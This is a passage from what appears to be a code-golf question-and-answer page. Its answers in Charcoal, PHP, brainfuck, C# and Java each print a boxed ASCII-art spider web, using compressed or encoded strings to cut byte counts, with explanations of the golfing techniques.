program: implicit print ``` [Answer] # [Charcoal](https://github.com/somebody1234/Charcoal), ~~239~~ 238 bytes ``` UR¹⁶¦²²P×_¹⁶↘¹”“1T↘H‖⌕⦄Q⌈⌀MH⁷鱫cJε⎚#÷‖↧⸿ÿ_M±Gςθx↥<]˜t~⁻?T\`⪫F№⮌ξv‹⎇αδ¹9∨q¢←6X$⪫SA‹¤ü‖§D‹v⁸)⮌s?ANHτ!‰ZNσE⟲—>£'αlT↙№%Mü‴⟲@ιRQ$⟧.ηψf◧4\™¬‴χe@“σXN±I%T↧~w—A⁵6ζ▶‴À$“UX0⁰Ÿβ˜¤c⁷DFQm→>H⟧∨^‹α~ok∨A1ψς9œ⁸}'¶$β”P×_¹⁴M↓P×_¹⁵←_/↑²² P×_¹⁶M⁵¦²P↘⁸M¹⁹↓↗⁸‖B ``` [Try it online!](https://tio.run/##dVJba4MwFH7vrzj4kshqgmUtm30bexorG2V7CxxEYitYFWs7Bv3v7px4aTswoCTf5VxykuzjOinjvG23NmniYpdbGa7msFj469nmlDdZVWdFI7@ygz1KD705hCufuE8HR6/lT7HNdvuG8BH1TAG3S/dnDUIhKgERAbwxhVADEwSBINwYEoEWBCICkvBCtHIa6JwEXEik2UgC8jKv2aZZgKhx@IyRD5ydwl5/Wn64RMoYwQBVZGjhGJwqM93eKdiDimkNnbZQAgkXHIQKV5HrsGsGsW@XSeHQ6N@FcARv4oIhfPT92aY82@52J2XLmzG825Qm4KH2rth31Y@xHwpMZ3QTfTsdKrkkz73sOmJ4YoYLC59hqG1M1r8C1mxtmtNrejk1ja3T/Ff667Ztg3MbHPM/ "Charcoal – Try It Online") Link is to verbose version of code. Most of this is simply printing a large compressed string, but the repetitive parts have been coded separately to reduce the length of the string; in particular the `Rectangle` saves a number of bytes by avoiding the space padding to reach the 17th column and even the diagonal lines save a byte each. ``` Rectangle(16, 22); For the |s in the 2nd and 17th columns Multiprint(Times("_", 16)); Overwrite the 2nd row with _s Print(:DownRight, 1); Print the \ in row 2, column 2 Print(<compressed string>); Print the bulk of the web Multiprint(Times("_" 14)) Print the _s in the penultimate row Move(:Down); Multiprint(Times("_" 15)); Overwrite the bottom row with _s Print(:Left, "_/"); Print the / in the bottom row Print(:Up, 22); Print the |s in the 1st column Print(" "); Multiprint(Times("_" 16)); Print the `_`s in the 1st row Jump(5, 2); Multiprint(:DownRight, 8); Print a long diagonal line Move(19 :Down); Print(:UpRight, 8); Print the other long diagonal line ReflectButterfly(); Mirror the first 16 columns (17th is axis) ``` Edit: Charcoal no longer seems to recognise the compressed string, and its current compression generates a shorter string which saves 51 bytes, and allows one of the diagonals lines to be moved back into the string for a further 2-byte saving. (Note that these aren't the counts displayed by `-sl`; indeed even the original count appears to have been off by 1.) However there are three additional savings that would also have applied to the original code: [Try it online!](https://tio.run/##VZDBSgJRFIZfJSrcBLUpUHBRBkpFCNFKqTANXARBi1pIMENwmRlEUspJ0BFSHDEjkdFm6qpw3F/f4bzAfYTpTBARXDjcn3v/8/9fNp@5zl5lLn1f8hfwUB1DB4YwlHwwN89@BGTPNJVGQXJ2CJUYWGnUO2hY0ELV3UHNRqMpuYOqk0Z3JqYrYhRPS946jiaFc7CMnfsjsLGogYVaF5UJqgOyQv0xglZNeJK/zXto1OiE5ybZCRfVUWFrDdXPE2jL2QRZlTaRd25feEGcPjaHN3FasS4@JO9uSv5KeRKBSUnb3b44v4OvPcnfQ8jGhaCMi/oTNJCVF3oUTTuERYMuERoJykCvwAvnwU5hv52CCiXCEoud3qLtiGmSciz0QFPq9CFgUZfclnwMZWjmVgnNHy0HWe0fu4cNWhQQXfrVJO9RvwAzgUBmBtWUKuH3/W8 "Charcoal – Try It Online") * 1 byte by using `B`(`Box`) instead of `UR`(`Rectangle`). * 1 byte by using `↙P×_¹⁶←/` instead of `↓P×_¹⁵←_/`. * 1 byte by using `×_¹⁶J⁵¦¹` instead of `P×_¹⁶M⁵¦²`. [Answer] # [PHP](https://php.net/), 380 bytes ``` <?=gzinflate(base64_decode("fZLNrQMxCITvqYIbiZ4W7ttEGhiJRij+MfgnGyWKJSx2Pf4GY0v8HrfEz3XPW6bUgKyRO/P+XIot8cRVcFE41CJM5ZSROC6KXlmU3AQqh0JtUY7j0LPnSTBtBUotTkrtiawIElDrVVa7FNitKdJ1SBMMtNyKLI6zFjKY1P7cChclwunlxQD5IEQFrSjbWIH736PmymfMfkBW+P35QDdrxjwLeW0NxBll1UXR2y+VtrV3xzCKyrezECLwsGJYgBbql7OQvy9z3SO95llMg1vgVv22s2ewxxJq6255NV7dnoxK2A99fx/OH6U8ZST4eB/z3SB39lLE7OgYubN+wFS8Fr8N5D8=")); ``` [Try it online!](https://tio.run/##DcvJboJAAADQf/Gk4aDskNY0gqDsm6yXRlbBEXUcYeDnbd/9PS6Pz@f7Z9vMbV@DM6qW@flVccxvWRX3slou6sy0oWdhWTsNz1TL24yJeYSUw6XV/bYjrLrpD1Ns6AGm3Jo5pJtBOMJamenEjbk8bIzJd9YukWh3JBR@VKgKQ8q6xWaB78ickYBbSO@852WjozDlu43p9sFJQlJ4R6crRO151BSwh1F05lW7RUapk4FkWcieDFPjZrUzUtLlC/lSgPHdA@ztWU3xVBh0eawdeZpzb9OttuqrFBMuzXr7EuJuNKt4Y2MJADJMfGoiIgQjGs@yMcFqVmRzfB30tJHyJ@Adb5jEmQ4ckQXAasihiQaKelHViLH@5CiWtSO@7O/YoHaiWOO1c@RCIQtOTCWt/59Ei8BUeKdJ37lNjGogqFCw2b2wXaxWX5/PHw "PHP – Try It Online") # [PHP](https://php.net/), 494 bytes ``` <?=strtr(" 33311 |43331/| ||554222|222/550254255/|4255/25025/4817 : 817/4250 175422|22/581 0825/\'6':'6'/425704 8 /'541 _|_ 1/5'4 7 /0 |5/.2/4 ' : ' /42.45| 0 |5| 8/54 _|_ /547 |5| 0/ '/.5/8 // : 44 745.4' 401/1_/1_/_4(+)/_41_41_410542424 /(O)4 /2/2/504 .4'547 44_:_// 8/5'/. /0 |5| 745/5|545/8 |5| 0 |54'24/_._:_._4/2'/5| 0/ 7 42/55|5542/ 8 407_2'4/.6.:.6.4/'2_'.02'.5/ 12|21 45720254/758 : 7584/25025/2554|/255425011/3|3411|| |/3331\|",["|| ||",__," ",_________,"\\"," ","---",".'","'."]); ``` [Try it online!](https://tio.run/##LVExbsMwDNz7CsILEzQRRZmMDbdFn9AH1IXWjkGakX93j04s8SQS1Ol8uv5et@398@PvfrvfDgON46j6EparxEuEu7XWAiHutSFzl9ixZS4260QLAQXVSjrlicj@WanOaFn5wgsiG6ZqNJOwm1KPTirORhNJpXApTYwYdExoLuZBWQ@axW3vxzrtlSrEUlxAJjhgIDEvxmRVRXvObofXI1Afs0IYBsnh6whsGA41OJOcZn3poMJN4H3oieQUD7e8J55qjJtJL2gv3aSxPNSAIj3aHQMNdEy9sUm5lAVhwq1zqY0hmhQOKZlPLT2VyWf8A9CersJfix2Rq8oYo6kGXkTyadYYTt9Dptj0fhqIKDfP7zSs65BFwPl8BhYGcBl@jm/b9g8 "PHP – Try It Online") [Answer] # [brainfuck](https://github.com/TryItOnline/tio-transpilers), 4086 bytes ``` -[+>++[++<]>]>-[->+>+<<]>>--------------------------------------[->+>+<<]>>++[->+>+<<]>>---[->+>+<<]>>+++++[->+>+<<]>>+++++++++++++[->+>+<<]>>------------[->+>+<<]>>-------[->+>+<<]>>++++++++[->+>+<<]>>+++++++++++++++++++++++++++++++++++++++++++++[->+>+<<]>>++++++++++++++++++++++++++++++++[->+>+<<]>>------------------------------------------------------------------------------------------------------------------[->+>+<<]>>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++[->+>+<<]>>---------------------------------------------------------------.<...............................<<.<<.<<.>>>>>>.............................<<<<<<<<.>>>>.>>.<<..>>>>>....<<<<<<<.>>>>>>>.........<<<<<.>>>>>.........<<<<<<<<<.>>>>>>>>>....<<<<<..>>.<<..>>>>>.....<<<<<<<.>>>>>>>.......<<<<<<<<<.>>>>.<<.>>>>>>>.......<<<<<<<<<.>>>>>>>>>.....<<<<<..>>.<<..>>>>>.....<<<<<<<<<.>>.<<<<.<<.>>>>>>>>>>>>..<<<<<<<<<<<<.>>.>>>>>>>>>>>.<<<<<<<<<<<<<<<.>>>>>>>>>>>>>>>.<<<<<<<<<<<.<<.>>>>>>>>>>>>..<<<<<<<<<<<<.>>.>>.>>.>>>>>>>.....<<<<<..>>.<<..>>>>>.<..<<<<<<<<<<<<.>>.>>>>>>>>>>>..<<<<<<<.>>>>>>>......<<<<<.>>>>>......<<<<<<<<<.>>>>>>>>>..<<<<<<<<<<<.<<.>>>>>>>>>>>>..>.<<<<<..>>.<<..<<<<<<.<<.>>>>>>>>>>>>>.....<<<<<<<<<.>>.<<<<.<<<<<<...>>>>>>.<<<<.>>>>.<<<<<<...>>>>>>.>>.>>.>>>>>>>.....<<<<<<<<<<<<<.>>.>>>>>>..>>.<<..<<.>>>>>>>.<<<<<<<<<<<.<<.>>>>>>>>>>>>>.<<<<<<<<<.<<.>>>>>>>>>>>..<<<<<<<.>>>>>>..>.<.<<<<.>>>>.>.<..<<<<<<<<.>>>>>>>>>..<<<<<<<<<<<.>>>>.>>>>>>>.<<<<<<<<<<<<<.>>.>>>>>>>>>>>.<<<<<<<<<.>>>>..>>.<<..>>>>>.<<<<<.>>>>>..<<<<<<<<<.<<<<.>>>>>>>>>>>>>...<<<<<<<<<.>>.>>>>>>>.<<<<<<<<<<<.>>>>>>>>>>>.<<<<<<<<<<<<<<<.>>>>>>>>>>>>>>>.<<<<<<<<<<<.>>>>>>>>>>>.<<<<<<<<<.>>.>>>>>>>...<<<<<<<<<<<<<.>>>>>>.>>>>>>>..<<<<<.>>>>>.<<<<<..>>.<<..>>>>>.<<<<<.>>>>>..<<<<<.>>>>>.<<<<<<<<<<<.<<.>>>>.>>>>>>>>>..<<<<<<<.>>>>>>>.<.<<<<.>>>>.>.<<<<<<<<<.>>>>>>>>>..<<<<<<<.<<<<<<.>>.>>>>>>>>>>>.<<<<<.>>>>>..<<<<<.>>>>>.<<<<<..>>.<<..<<<<.>>>>>>>>>.<<<<<<<<<<<.>>.<<<<.>>>>>>>>>>>>>..<<<<<<<<<.<<.<<.>>>>>>>>>>>>>.<<<<<<<<<..>>>>>>>>>.<<<<<<<<<<<<<<<.>>>>>>>>>>>>>>>.<<<<<<<..>>>>>>>.<<<<<<<<<<<<<.>>.>>>>.>>>>>>>..<<<<<<<<<<<<<.>>>>>>.<<<<.>>>>>>>>>>>.<<<<<<<.>>..>>.<<..>>>>..<<<<<<<<.>>>>>>>>...<<<<<<<<.>>>>>>>>...<<<<<<<<.>>>>>>>>.<<<<<<.<<<<<<<<<<<<.<<.<<.>>>>>>>>>>>>>>.>>>>>>>>.<<<<<<.>>>>>>...<<<<<<.>>>>>>...<<<<<<.>>>>>>..<<<<..>>.<<..>>>>>..<<<<<<<.>>>>>>>...<<<<<<<.>>>>>>>...<<<<<<<.>>>>>>>.<<<<<<<<<.<<<<<<<<<<.<<<<<<.>>.>>>>>>>>>>>>>>>>.>>>>>>>.<<<<<<<<<.>>>>>>>>>...<<<<<<<<<.>>>>>>>>>...<<<<<<<<<.>>>>>>>>>..<<<<<..>>.<<..<<.>>>>>>>.<<<<<<<<<<<<<.>>>>>>.<<<<.>>>>>>>>>>>..<<<<<<<.<<<<<<.>>.>>>>>>>>>>>.<<<<<<<..>>>>>>.<<<<<<<<<<<<<<.>>>>>>>>>>>>>>.<<<<<<<<..>>>>>>>>>.<<<<<<<<<<<.<<.>>>>.>>>>>>>>>..<<<<<<<<<<<.>>.<<<<.>>>>>>>>>>>>>.<<<<<<<<<.>>>>..>>.<<..>>>>>.<<<<<.>>>>>..<<<<<.>>>>>.<<<<<<<<<<<<<.>>.>>>>.>>>>>>>..<<<<<<<<<.>>>>>>>>>..<<<<<.>>>>>..<<<<<<<.>>>>>>>..<<<<<<<<<.<<.<<.>>>>>>>>>>>>>.<<<<<.>>>>>..<<<<<.>>>>>.<<<<<..>>.<<..>>>>>.<<<<<.>>>>>..<<<<<<<.<<<<.>>>>>>>>>>>...<<<<<<<.<<.>>>>>>>>.<<<<<<<<<<<<.>>>>>>>>>>>>.<<<<<<<<<<<<<<.>>>>>>>>>>>>>>.<<<<<<<<<<<<.>>>>>>>>>>>>.<<<<<<.<<.>>>>>>>>>...<<<<<<<<<<<.>>.>>>>>>>>>..<<<<<.>>>>>.<<<<<..>>.<<..<<<<.>>>>>>>>>.<<<<<<<<<<<<<.>>.>>>>>>>>>>>.<<<<<<<.>>>>>>>...<<<<<<<<<.>>>>>>>>>....<<<<<.>>>>>....<<<<<<<.>>>>>>>...<<<<<<<<<.>>>>>>>>>.<<<<<<<<<<<.<<.>>>>>>>>>>>>>.<<<<<<<.>>..>>.<<..<<<<<<<<.>>.>>>>>>>>>>.>...<<<<<<<<<<<.>>>>.<<.<<<<.<<<<...>>>>.<<.>>.<<<<...>>>>.>>>>>>.<<.<<.>>>>>>>>>>>...<.<<<<<<<<<<.<<.>>>>>>>>..>>.<<..>>>>>...<<<<<<<<<<<.<<.>>>>>>>>>>>>>..<<<<<<<<<.>>>>>>>>>.<..>...<<<<<.>>>>>...<..>.<<<<<<<.>>>>>>>..<<<<<<<<<<<<<.>>.>>>>>>>>>>>...<<<<<..>>.<<..>>>>>.....<<<<<<<.<<.<<<<.>>.>>>>>>>>>>>..<<<<<<<<<<<.<<.>>>>>>>>>>>>>.<<<<<<<<<<<<<<<.>>>>>>>>>>>>>>>.<<<<<<<<<<<<<.>>.>>>>>>>>>>>..<<<<<<<<<<<.<<.>>>>>>.<<.>>>>>>>>>.....<<<<<..>>.<<..>>>>>.....<<<<<<<<<.>>>>>>>>>.......<<<<<<<.>>.<<<<.>>>>>>>>>.......<<<<<<<.>>>>>>>.....<<<<<..>>.<<..>>>>....<<<<<<<<.>>>>>>>>.........<<<<.>>>>.........<<<<<<.>>>>>>....<<<<..>>.<<.<<<<.>>>>>>>>.............................<<<<<<.>>. ``` [Try it online!](https://tio.run/##rVdbasQwDDyQyZzA@CJhP9pCoRT6Udjzp1lnG@ttx61ZFmJZY3k0VpTX75ePr/f72@e2LWsqKa0p5Vu5lWVdyv6c94eyDA3isMMwb2ZKzJrocPbU0waAh9kbF/wuU/KfY/Z8Ezz8MVJkxCPn56/U0Vl7jLp2/3u44XSjRopEZhXSuZpAQCE70BwEHbtA83ep6@sDqGtdlclA5aAZMx/MU9hHgAm8G3WOI7J5U/kweQqjLSIae53P6uEMQgwIRc3isKDPSyLBAN/EKEySs3pWEiHj3OPrGbshC1czYKcgRkh8aHFJli0GZpXqRQtjb8obJ4adqHdKuPlDoG2RpSBHCHKBbtQCVCTXSg47RqBEXM4QYpXBLC9Z3TuJKpRoCB6jc4xxn4WiPASm@2zVcl32@jP8fkVCKfb1hncdO7NSXW5K7ZyNiLoJBaGu0JFicA0D/V@scbgmaE2lJ4KBa4jpmmXUZVATzKuN4pdl@EXZ9IMnNiGKudrmK6snetlvjPmNvLzB3vtWlNBEHOtbwkCaRzZz7gWdVtjRqZ4yPIV9brSYGwxQAj2brV@3l26KhdeJBi@rfucwCo2p/tzs9HUBUvZoFzhvtYYB4yMGXOm/iDaI/1X1cNu2Hw "brainfuck – Try It Online") This is just a hunt-and-pick method of generating the string. Added newlines for more readability: ``` -[+>++[++<]>]>-[->+>+<<]>>--------------------------------------[->+>+<<]>>++[->+>+<<]>> ---[->+>+<<]>>+++++[->+>+<<]>>+++++++++++++[->+>+<<]>>------------[->+>+<<]>>-------[->+ >+<<]>>++++++++[->+>+<<]>>+++++++++++++++++++++++++++++++++++++++++++++[->+>+<<]>>++++++ ++++++++++++++++++++++++++[->+>+<<]>>--------------------------------------------------- ---------------------------------------------------------------[->+>+<<]>>++++++++++++++ +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++[->+>+<<]>>------ ---------------------------------------------------------.<............................. ..<<.<<.<<.>>>>>>.............................<<<<<<<<.>>>>.>>.<<..>>>>>....<<<<<<<.>>>> >>>.........<<<<<.>>>>>.........<<<<<<<<<.>>>>>>>>>....<<<<<..>>.<<..>>>>>.....<<<<<<<.> >>>>>>.......<<<<<<<<<.>>>>.<<.>>>>>>>.......<<<<<<<<<.>>>>>>>>>.....<<<<<..>>.<<..>>>>> .....<<<<<<<<<.>>.<<<<.<<.>>>>>>>>>>>>..<<<<<<<<<<<<.>>.>>>>>>>>>>>.<<<<<<<<<<<<<<<.>>>> >>>>>>>>>>>.<<<<<<<<<<<.<<.>>>>>>>>>>>>..<<<<<<<<<<<<.>>.>>.>>.>>>>>>>.....<<<<<..>>.<<. .>>>>>.<..<<<<<<<<<<<<.>>.>>>>>>>>>>>..<<<<<<<.>>>>>>>......<<<<<.>>>>>......<<<<<<<<<.> >>>>>>>>..<<<<<<<<<<<.<<.>>>>>>>>>>>>..>.<<<<<..>>.<<..<<<<<<.<<.>>>>>>>>>>>>>.....<<<<< <<<<.>>.<<<<.<<<<<<...>>>>>>.<<<<.>>>>.<<<<<<...>>>>>>.>>.>>.>>>>>>>.....<<<<<<<<<<<<<.> >.>>>>>>..>>.<<..<<.>>>>>>>.<<<<<<<<<<<.<<.>>>>>>>>>>>>>.<<<<<<<<<.<<.>>>>>>>>>>>..<<<<< <<.>>>>>>..>.<.<<<<.>>>>.>.<..<<<<<<<<.>>>>>>>>>..<<<<<<<<<<<.>>>>.>>>>>>>.<<<<<<<<<<<<< .>>.>>>>>>>>>>>.<<<<<<<<<.>>>>..>>.<<..>>>>>.<<<<<.>>>>>..<<<<<<<<<.<<<<.>>>>>>>>>>>>>.. .<<<<<<<<<.>>.>>>>>>>.<<<<<<<<<<<.>>>>>>>>>>>.<<<<<<<<<<<<<<<.>>>>>>>>>>>>>>>.<<<<<<<<<< <.>>>>>>>>>>>.<<<<<<<<<.>>.>>>>>>>...<<<<<<<<<<<<<.>>>>>>.>>>>>>>..<<<<<.>>>>>.<<<<<..>> .<<..>>>>>.<<<<<.>>>>>..<<<<<.>>>>>.<<<<<<<<<<<.<<.>>>>.>>>>>>>>>..<<<<<<<.>>>>>>>.<.<<< <.>>>>.>.<<<<<<<<<.>>>>>>>>>..<<<<<<<.<<<<<<.>>.>>>>>>>>>>>.<<<<<.>>>>>..<<<<<.>>>>>.<<< <<..>>.<<..<<<<.>>>>>>>>>.<<<<<<<<<<<.>>.<<<<.>>>>>>>>>>>>>..<<<<<<<<<.<<.<<.>>>>>>>>>>> >>.<<<<<<<<<..>>>>>>>>>.<<<<<<<<<<<<<<<.>>>>>>>>>>>>>>>.<<<<<<<..>>>>>>>.<<<<<<<<<<<<<.> >.>>>>.>>>>>>>..<<<<<<<<<<<<<.>>>>>>.<<<<.>>>>>>>>>>>.<<<<<<<.>>..>>.<<..>>>>..<<<<<<<<. >>>>>>>>...<<<<<<<<.>>>>>>>>...<<<<<<<<.>>>>>>>>.<<<<<<.<<<<<<<<<<<<.<<.<<.>>>>>>>>>>>>> >.>>>>>>>>.<<<<<<.>>>>>>...<<<<<<.>>>>>>...<<<<<<.>>>>>>..<<<<..>>.<<..>>>>>..<<<<<<<.>> >>>>>...<<<<<<<.>>>>>>>...<<<<<<<.>>>>>>>.<<<<<<<<<.<<<<<<<<<<.<<<<<<.>>.>>>>>>>>>>>>>>> >.>>>>>>>.<<<<<<<<<.>>>>>>>>>...<<<<<<<<<.>>>>>>>>>...<<<<<<<<<.>>>>>>>>>..<<<<<..>>.<<. .<<.>>>>>>>.<<<<<<<<<<<<<.>>>>>>.<<<<.>>>>>>>>>>>..<<<<<<<.<<<<<<.>>.>>>>>>>>>>>.<<<<<<< ..>>>>>>.<<<<<<<<<<<<<<.>>>>>>>>>>>>>>.<<<<<<<<..>>>>>>>>>.<<<<<<<<<<<.<<.>>>>.>>>>>>>>> ..<<<<<<<<<<<.>>.<<<<.>>>>>>>>>>>>>.<<<<<<<<<.>>>>..>>.<<..>>>>>.<<<<<.>>>>>..<<<<<.>>>> >.<<<<<<<<<<<<<.>>.>>>>.>>>>>>>..<<<<<<<<<.>>>>>>>>>..<<<<<.>>>>>..<<<<<<<.>>>>>>>..<<<< <<<<<.<<.<<.>>>>>>>>>>>>>.<<<<<.>>>>>..<<<<<.>>>>>.<<<<<..>>.<<..>>>>>.<<<<<.>>>>>..<<<< <<<.<<<<.>>>>>>>>>>>...<<<<<<<.<<.>>>>>>>>.<<<<<<<<<<<<.>>>>>>>>>>>>.<<<<<<<<<<<<<<.>>>> >>>>>>>>>>.<<<<<<<<<<<<.>>>>>>>>>>>>.<<<<<<.<<.>>>>>>>>>...<<<<<<<<<<<.>>.>>>>>>>>>..<<< <<.>>>>>.<<<<<..>>.<<..<<<<.>>>>>>>>>.<<<<<<<<<<<<<.>>.>>>>>>>>>>>.<<<<<<<.>>>>>>>...<<< <<<<<<.>>>>>>>>>....<<<<<.>>>>>....<<<<<<<.>>>>>>>...<<<<<<<<<.>>>>>>>>>.<<<<<<<<<<<.<<. >>>>>>>>>>>>>.<<<<<<<.>>..>>.<<..<<<<<<<<.>>.>>>>>>>>>>.>...<<<<<<<<<<<.>>>>.<<.<<<<.<<< <...>>>>.<<.>>.<<<<...>>>>.>>>>>>.<<.<<.>>>>>>>>>>>...<.<<<<<<<<<<.<<.>>>>>>>>..>>.<<..> >>>>...<<<<<<<<<<<.<<.>>>>>>>>>>>>>..<<<<<<<<<.>>>>>>>>>.<..>...<<<<<.>>>>>...<..>.<<<<< <<.>>>>>>>..<<<<<<<<<<<<<.>>.>>>>>>>>>>>...<<<<<..>>.<<..>>>>>.....<<<<<<<.<<.<<<<.>>.>> >>>>>>>>>..<<<<<<<<<<<.<<.>>>>>>>>>>>>>.<<<<<<<<<<<<<<<.>>>>>>>>>>>>>>>.<<<<<<<<<<<<<.>> .>>>>>>>>>>>..<<<<<<<<<<<.<<.>>>>>>.<<.>>>>>>>>>.....<<<<<..>>.<<..>>>>>.....<<<<<<<<<.> >>>>>>>>.......<<<<<<<.>>.<<<<.>>>>>>>>>.......<<<<<<<.>>>>>>>.....<<<<<..>>.<<..>>>>... .<<<<<<<<.>>>>>>>>.........<<<<.>>>>.........<<<<<<.>>>>>>....<<<<..>>.<<.<<<<.>>>>>>>>. ............................<<<<<<.>>. ``` [Answer] # [C# (.NET Core)](https://www.microsoft.com/net/core/platform), 935 676 636 627 bytes ``` _=>{var m=new char[782];int i=0,p,t=0;string r=@"a`_agb^_cD|nbJ gJ cn7bocgbock7#0l3a80l3#k6l3fbG gG 20lah0k#dpdmdpd#k3h:0acdfblajgjal2d:3ac61ceic:585#iebf461402:jgja2b3a14hcadcefc0aC/a8C\a3bfeb5bhlcqcqcjbB(B+B)cjbqbqblhf$$:cB(BOB):cici2h:ebdfb3aC\jmjC/a02dceac6143bf21bfc0a1461bdi%jejmjej%id24hca3a$cngn$ca0abh3jid%epemepe%dij0hi0fcaligilabf3i7%3f0a83f0%k7cobgcobkhE_cJ_gJ_bE_D|c^_bg",g=@"cb#bi$bc%de0gf1cf2ed3ga4da5ha6hk7ma8fd9ba:B aB\bB/cB'dB.eC fB|gE|hD iB_jF kC_lB:mE nH oD-pD_q";for(;i<93;i+=3)r=r.Replace(""+g[i+2],""+g[i]+g[i+1]);for(i=0;i<796;i+=2)for(p=0;p++<r[i]-65;){m[t++]=r[i+1];if(t%34==33)m[t++]='\n';}return m;} ``` [Try it online!](https://tio.run/##bVLbbtswDH3vVwhJjMZwmjlWbrXrYnCSdggwbNge9tCkHkVLsnxNFbfD0OTbMzkdupdRIEEdnkMKAnF/hbXmJ2IMC9jvyVddSw3lRYu8nmNr@wYaheSlVgn5DKrq2@@lf6TWvv/eN7wc3j1XeLNvtKrkAFPQD9tbIkh4cYrD29cX0KQMK/6LnEuzubcNVNUQFbqD3aAJ3eBNSXT4sQM/Y5DsMcbloWJrItcEqxmrURrPZ123oDA3oZtPCyrYPZH3xHMLSN28m@yS0ng3p6nvAiaCFZDJDAov8SngdIRcoT@ZT7qKMzGejsau57cEj1EYjVOEBLlAFxYfYL7YAGWCswlLC3wyJ2NRP3Ii2yRP5hSp6PV8NNiXyPZRofJSnzMzlMJik5WZaeJ6pmE7eGxaeSPW9h6ZuSxRVsYNh2eWSrx2MoUeVrLqIbjAUpqpxOI7Xhq3EpW5qXIFQqGkKoAJqmYWFS7MTbDyGdZMGs/TVYzrWK5jtoqXB3yMmewMpPlTZF2megythLtSjFB4PKESxglMUpim@ayEuUiuGfgRgWjDog8YXSbRkC@IiA5ydUiXREVxdkfyRVxEfrki1SdSL692y/ipE4ha9wN1c00D5YTU1qEefuO7ApD3Ox1HPijH2w7esu35OtraZ5FZAKObXU9boWe30M5AO8e50YZ7NZ0E9mv50DjONtRnXaBEv7HoOAwptf9WLjfVZXDUvHnWFSmD4ym4@N@KLupqXxd8@EOrhvfbbXzbur4wr7RtO3gXHc/Z8fQH "C# (.NET Core) – Try It Online") I wanted to try another approach and RLE'd the drawing. Ended up with a code that had more bytes than the drawing itself (782 bytes). Then I compressed the RLE'd string by creating a dictionary with the most used groups, and after compressing it I created more dictionaries and compressed again until the string could be reduced no more. The drawing is thus created by first expanding those groups and then uncompressing with RLE. [Answer] # [Java (JDK)](http://jdk.java.net/), 494 bytes ``` n->{String r="",m="ZZO+():-\n'.\\/_| ";for(int b:"ýaÝøëaÜèîb¿bbïbbÏÿþèîbûbÿüëbÿübþèîbü¹­ÚŸošÝ©ËbþèîýÚŸûbÿïbüÿšÝþèîšbü¹wyiwyËbúžèî¿šüŸûÝýíýÜÿ›úŸÎèîþÿÊÿü¿ŸoŸËÿú¿þþèîþÿïšÏûýíüÿºŸïþþèîÏœ¯üšüÏo»ú›ÿ«Ÿ¾èîÝÍÝÍÝÍ´5ͽݽݽÞèîÿ¿ÿ¿ÿ¿Ä%¿ÏÿÏÿÏþèî¿«Ÿû©û½mÌù¬ÿœ¯Îèîþÿï©¿üÿïûÿɯïþþèîþÿ¹ÿûÍ­m­¼ÿùÏþþèîÏ©ûÿübïÿûÿüù¯¾èî©ßÿ›Êwzjwz¼ŸÿÙ®èîÿù¯üýßÿïÿÝûÿ©ÿþèîbûÊŸù¯o©ÿš¼bþèîbübÿûìbÿûbþèîÝÝÍÝÝÝÝíÝÝÝݽÝÞèìaÛè".replace("a","Ý".repeat(14)).replace("b","ÿÿ").getBytes("cp1252"))r=r+m.charAt(b>>4&15)+m.charAt(b&15);return r;} ``` [Try it online!](https://tio.run/##bVNNb9NAEL3zK1ZWAVttg1q1l0apBBLcUA/cShBau27r4NjRetOQlkocuNACOXACGlBvrdrUFw75aGppR/4j/JEws@s0lUDWeHdn3szbeaup8T2@WNt6M2k03TDwmBfyJGHPeRCxg3uMBZH0xTb3fPb0rec3ZBBHPHzWjDzaaQRjL6QIoh2240t7w635nmSxw@SuiFvJLKuM0EO0giaRXOKyFwdbrI5ktiny8hXjYif5N72g@t8l5liFTaLF9YPiHqJiWQv1irW5uTFvO2uL1ehhqVp99Pods8rbsbCxJeauWTDm0IU@XHA4gTO4clXmupCidSCDG@2CkYv7a7jQizv1XquB6sH3vB/np9BV53BchGBMXpOVIg4yAphYfqoTW@2g1aaEYa7diiDXlITAMfTQTiD7836IgD580VVvsNwR3QDByNmHYzwMFd3y5haQYp0OVqEaSKwoPb1FdPKvKkUe5IJOrEYwJIpMXeR9ZRBd@Dw19XsVf2NszdhPDciQcGof7uOPdDJWdELVYIR6jNS4Dp9goC5RASKe9ZGqc0WS4g4vm8FHjKZ3G1ED9I6Qv1dXPUXAgWYo@qDq5jFSjaNaA5WaJjD4y4h31NqvtfYVCZvBN3VlOiAk4seE0vldqoBZsweHI0xBWEze/FTdeXVXE17qZfrg3UIz8/WmOxJOy3bJ4QecWSXhN0KcItvi1oIFXe3wubSXVhxnFnQpiApbTgmn6Ulb@olteY2l5dVly3FERczXS94uF4@l7a6vrzxYWnXueOhYFr5sioiJ8uGEBqZsJrSdSL9eipuy1MAZkWFkzxGDHTXD0HHMbB5O/gI "Java (JDK) – Try It Online") Thanks Kevin Cruijssen for golfing a few bytes, plus 6 bytes by changing `Windows-1252` to `cp1252`, and to ASCII-only to compress the string a bit :) Note: the file **must** be encoded as Windows-1252 for byte-count, but can safely be copy/pasted in UTF-8 for testing! The long chain is actually the string, as is, with its characters mapped to a flexible character encoder (for once, I'm happy to use CP-1252). The rest is only the unmapping method. The mapping was found using a permutation, first initialized to the frequency of each char in the ascii art. Mappings resulting in the characters `'"'` and `'\\'` were explicitly discarded to be the shortest valid string as possible. # Ungolfed ``` unusedVariable -> { String r = "", // result buffer m = "ZZO+():-\n'.\\/_| ", // mapping ; for (int b : "ýaÝøëaÜèîb¿bbïbbÏÿþèîbûbÿüëbÿübþèîbü¹­ÚŸošÝ©ËbþèîýÚŸûbÿïbüÿšÝþèîšbü¹wyiwyËbúžèî¿šüŸûÝýíýÜÿ›úŸÎèîþÿÊÿü¿ŸoŸËÿú¿þþèîþÿïšÏûýíüÿºŸïþþèîÏœ¯üšüÏo»ú›ÿ«Ÿ¾èîÝÍÝÍÝÍ´5ͽݽݽÞèîÿ¿ÿ¿ÿ¿Ä%¿ÏÿÏÿÏþèî¿«Ÿû©û½mÌù¬ÿœ¯Îèîþÿï©¿üÿïûÿɯïþþèîþÿ¹ÿûÍ­m­¼ÿùÏþþèîÏ©ûÿübïÿûÿüù¯¾èî©ßÿ›Êwzjwz¼ŸÿÙ®èîÿù¯üýßÿïÿÝûÿ©ÿþèîbûÊŸù¯o©ÿš¼bþèîbübÿûìbÿûbþèîÝÝÍÝÝÝÝíÝÝÝݽÝÞèìaÛè" .getBytes("cp1252")) { // Read bytes from the String, using CP-1252 r = r // r += doesn't work as expected here + m.charAt(b>>4 & 15) // append first char + 